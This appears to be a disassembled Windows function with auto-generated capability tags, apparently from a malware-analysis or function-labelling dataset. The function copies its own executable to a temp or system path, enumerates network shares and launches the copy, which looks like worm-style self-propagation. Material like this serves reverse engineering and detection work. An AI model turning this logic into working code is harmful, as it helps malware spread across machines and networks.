Function at 0x40c940
Capabilities:
Create process on windows
Enumerate network shares
Get common file path
Get disk information
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x680
push ebx
push ebp
push esi
push edi
xor eax, eax
mov edi, 0x426f58
or ecx, 0xffffffff
or ebx, 0xffffffff
or ebp, 0xffffffff
mov dword [esp + 0x18], eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], eax
mov byte [esp + 0x13], al
lea edx, [esp + 0x180]
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x694]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x104
and ecx, 3
mov byte [esp + 0x15], 0x3a
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x388]
mov byte [esp + 0x16], 0x5c
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [esp + 0x384]
lea ecx, [esp + 0x10]
push ecx
mov byte [esp + 0x14], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x40cd0b
lea edx, [esp + 0x7c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea esi, [esp + 0x180]
lea eax, [esp + 0x7c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40ca08
test cl, cl
je 0x40ca04
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40ca08
add eax, 2
add esi, 2
test cl, cl
jne 0x40c9e4
xor eax, eax
jmp 0x40ca0d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ca21
lea eax, [esp + 0x7c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x7c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x7c]
lea ecx, [esp + 0x7c]
push eax
push ecx
call dword [sym.imp.USER32.dll_CharPrevA]
cmp byte [eax], 0x5c
je 0x40ca72
mov edi, 0x4220bc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x422ce4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push 0x80
and ecx, 3
push 3
push eax
push 1
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea eax, [esp + 0x398]
push 0x80000000
push eax
call edi
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40cd0b
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.00413950
add esp, 4
mov dword [esp + 0x18], eax
test eax, eax
je 0x40cd0b
lea ecx, [esp + 0x24]
push 0
push ecx
push esi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40cd0b
push 0
push 0x80
push 2
push 0
push 0
lea edx, [esp + 0x90]
push 0x40000000
push edx
call edi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40cd0b
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x24]
push 0
push eax
push esi
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40cd0b
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push ebx
call esi
mov esi, dword [esp + 0x698]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
push esi
or ebx, 0xffffffff
or ebp, 0xffffffff
mov dword [esp + 0x3c], 0x44
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x180]
cmp al, 0x5c
je 0x40cb91
mov byte [esp + 0x10], al
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 4
jne 0x40ccaa
cmp byte [esp + 0x180], 0x5c
je 0x40ccaa
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 1
push eax
push 0
push 0
push 1
push 1
mov byte [esp + 0x26], 0
mov dword [esp + 0x34], 0x100
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
jne 0x40ccaa
lea ecx, [esp + 0x20]
lea edx, [esp + 0x284]
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x18]
push edx
push eax
push ecx
call sub.MPR.dll_WNetEnumResourceA
test eax, eax
jne 0x40cca0
lea edx, [esp + 0x284]
test edx, edx
je 0x40cc2e
mov eax, dword [esp + 0x294]
test eax, eax
je 0x40cc2e
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.00413600
add esp, 8
test eax, eax
je 0x40cc50
lea edx, [esp + 0x20]
lea eax, [esp + 0x284]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x18]
push eax
push ecx
push edx
call sub.MPR.dll_WNetEnumResourceA
test eax, eax
je 0x40cc06
jmp 0x40cca0
mov ecx, dword [esp + 0x298]
lea eax, [esp + 0x182]
push eax
push ecx
lea edx, [esp + 0x490]
push 0x4220b4
push edx
call fcn.00413140
lea edi, [esp + 0x498]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x180]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
push ecx
call sub.MPR.dll_WNetCloseEnum
mov edx, dword [esp + 0x69c]
lea eax, [esp + 0x180]
push edx
lea ecx, [esp + 0x80]
push eax
push ecx
lea edx, [esp + 0x598]
push 0x422cd0
push edx
call fcn.00413140
add esp, 0x14
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x58c]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [esp + 0x9c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [esp + 0x14], 1
mov eax, dword [esp + 0x18]
test eax, eax
je 0x40cd1c
push eax
call fcn.004138b0
add esp, 4
cmp ebp, 0xffffffff
je 0x40cd28
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
je 0x40cd34
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x680
ret